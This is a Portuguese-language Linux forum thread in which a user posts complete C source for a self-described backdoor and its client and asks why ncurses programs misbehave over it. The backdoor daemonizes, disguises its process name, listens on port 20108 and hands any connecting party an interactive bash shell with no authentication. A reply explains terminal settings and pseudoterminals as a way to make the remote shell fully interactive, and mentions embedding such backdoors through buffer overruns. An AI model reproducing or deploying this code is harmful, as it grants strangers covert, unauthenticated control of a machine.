Abri programas que usam ncurses remotamente

samoliver1914
(usa Lubuntu)

Enviado em 14/05/2015 - 12:11h

Bom dia Tenho esses dois programas

backdoor:

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <unistd.h>



#include "SocketTcp.h"



#define PORT 20108



void filho(int fd){

	close(0);

	close(1);

	close(2);

	dup2(fd, 0);

	dup2(fd, 1);

	dup2(fd, 2);



	send(fd, "\n\n -- Bem vindo Hacker --\n\n", strlen("\n\n -- Bem vindo Hacker --\n\n"), 0);



	execl("/bin/bash", "bash", "-i",  (char *)0);

	exit(1);

}



int main(int argc, char const *argv[])

{

	daemon(0, 0);

	setsid();



	int rec;

	Socket s, novo;

	int pid;

	int stat;



	strcpy(argv[0], "[hacker0]");

	while(true){

		if(setSocketServer(&s, NULL, PORT, 1) == true){

			break;

		}

		sleep(30);

	}



	while(true){

		if(getAccept(&s, &novo) == false){

			continue;

		}

		pid = fork();

		if(pid == 0){

			filho(getFd(novo));

		}

		wait(&stat);

		closeSocket(&novo);



	}



	closeSocket(&s);

	closeSocket(&novo);



	return 0;

} 

cliente:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <errno.h>



// blibioteca para socket Tcp

#include "SocketTcp.h"



#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>



#include <fcntl.h>

#include <sys/time.h>

#include <sys/types.h>



#define PORT 20108

#define IP "127.0.0.1"

#define MAX_BUFFER 2000

#define PASS "EXIT"



int main(int argc, char const *argv[]){



	// estrutura que representa um socket

	Socket s;

	char bufferOUT[100];

	char bufferIN[MAX_BUFFER];

	fd_set in;

	struct timeval tv;

	int sso, retval;



	// configura o todas estruturas e verifica erros

	if(setSocket(&s, IP, PORT) == false){

		perror("setSocket");

		return 1;

	}

	// chama o connect e verifica erros

	if(getConecao(&s) == false){

		perror("getConecao");

		return 1;

	}



	FD_ZERO(&in);

	FD_SET(0, &in);

	FD_SET(getFd(s), &in);



	sso = fcntl(getFd(s), F_GETFL, 0);

	fcntl(getFd(s), F_SETFL, sso | O_NONBLOCK);



	tv.tv_sec = 1;

	tv.tv_usec = 0;



	while(true){

		FD_ZERO(&in);

		FD_SET(0, &in);

		FD_SET(getFd(s), &in);

		

		int rr = select(getFd(s)+1, &in, NULL, NULL, &tv);

		//printf("Test 1\n");



		if(rr < 0){

			perror("select");

			break;

		}

		if(rr == 0){

			tv.tv_sec = 1;

			tv.tv_usec = 0;

		}

	 	if(rr && FD_ISSET(getFd(s), &in) ){

				//printf("Test 3\n");

				int r;



				memset(bufferIN, 0, MAX_BUFFER);

				r = read(getFd(s), bufferIN, MAX_BUFFER);

				if(r < 0){

					perror("read");

					break;

				}

				if(r == 0){

					printf("Connection closed by the remote end\n");

					break;

				}



				bufferIN[r] = '\0';

				printf(" Recebendo: %s\n",bufferIN);

				fflush(0);



			}

			if(rr && FD_ISSET(0, &in) ){

				//printf("Test 2\n");

				int r;

				memset(bufferOUT, 0, 100);

				r = read(0, bufferOUT, 100);

				if(r < 0){

					perror("read");

					break;

				}



				//printf("enviado: %s\n", bufferOUT);

				write(getFd(s), bufferOUT, r);

			}



	}



	closeSocket(&s);

	printf("Em Fim!!!\n");



	return 0;

}

 

O cliente é um programa tipo telnet e nc, tive testando ele e descobri que consigo abri programas que usam ncurses remotamente, mas nao da para controla direito, com o nano eu nao consigo editar mas abri, dever ser porque so da para envia os caracteres e nao outras teclas como o as teclas do curso, F1, ect. Tambem tentei usar o getch do ncurse, mas não fuciona o getch trava o programa ate eu aperta alguma teclas, com certeza e porque eu botei o getch onde no meu programa esta lendo a entrada padra, mas nao sei o que posso fazer para resolver, gostaria de
saber se alguem saber como resolver isso.

paulo1205
(usa Ubuntu)

Enviado em 18/05/2015 - 05:52h

Você usou o termo “backdoor”. Acho um pouco curioso porque backdoors geralmente são usados para passar comandos muito simples, da forma mais sucinta e discreta possível, até porque esse tipo de programa costumava ser muito curto (como os que você mostrou, mesmo), para ser fácil de embutir em outros programas (às vezes mesmo por meio de ataques de buffer overrun) e, portanto, dificultar a detecção.

Essa simplicidade excessiva tem um preço: prejudicar o uso interativo direto.

Programas interativos geralmente geralmente esperam que o par formado pelo driver de terminal do kernel e pelo terminal propriamente dito (quer físico, como o console ou um terminal serial, quer virtual, como um emulador gráfico ou emulação através de conexão de rede) seja configurado de uma maneira tal que:

1) o terminal envia imediatamente qualquer caráter digitado para o sistema onde a aplicação executa (i.e. o terminal não usa buffer local, ou esse buffer é pequeno e é esvaziado muito rapidamente);

2) o terminal não exibe localmente o que foi digitado, a não ser que o sistema envie de volta aquele caráter para ser exibido (i.e. o terminal não tem eco local (local echo), pois a aplicação decide como vai responder a cada caráter enviado);

3) as regras valem inclusive para caracteres de controle (por exemplo: quando você está usando um Telnet ou SSH e aperta Control-C, que serve para interromper a execução, geralmente se espera que seja interrompido o programa que está executando remotamente, não o programa que estabeleceu a sessão remota).

Seu programa servidor (que você chama de backdoor) tem uma aplicação que espera interagir com um terminal. O terminal, no caso, é o seu programa cliente. Você precisa garantir as três propriedades acima, tanto no programa cliente quanto no servidor.

No caso do cliente, você precisa usar a chamada tcsetattr() com os parâmetros corretos, de modo a eliminar efeitos de buffer entre o que você digita e o que trafega pelo socket.

Para o servidor, provavelmente você vai ter um pouco mais de trabalho. Algumas funções podem exigir que o descritor de arquivo com que se está trabalhando seja de algo que o kernel reconheça como terminal ou que o processo tenha um terminal controlador associado (por exemplo: para poder manipular quais processos executam em primeiro plano ou em background). Sendo assim, seu servidor provavelmente não poderia apenas executar um shell interativo no próprio socket por onde recebeu a conexão, mas provavelmente teria de alocar um pseudoterminal e executar dois processos: um com o socket de rede e o lado master do pseudoterminal, e o outro com lado slave, onde o shell executaria. (Tudo bem que isso não precisa estar totalmente contido num programa só: você poderia ter um backdoor pequenininho, como esse que você mostrou, e usá-lo para chamar o programa que vai implementar a comunicação via pseudoterminal.)

Mas mesmo isso ainda pode ser pouco. Se você quiser mesmo poder trabalhar com programas interativos, provavelmente vai querer algo como

- identificar o tipo de terminal usado pelo cliente, e passar essa informação para o lado do servidor;
- identificar o tamanho do terminal, incluindo eventual redimensionamento durante a execução, e informar esse tamanho para que a aplicação remota possa desenhar as telas de acordo,
- tratar eventos de mouse;
- tratar outros eventos (biometria, sons, bloqueio de tela, controle de fluxo etc.).

Essas coisas requerem um protocolo mais sofisticado, no qual, em vez de simplesmente passar caracteres digitados e receber caracteres a exibir, você teria tipos diferentes de mensagens, ora de dados, ora de controle, com um modo de identificar inequivocamente, nas duas pontas, qual tipo de mensagem está sendo passado em cada trecho de comunicação.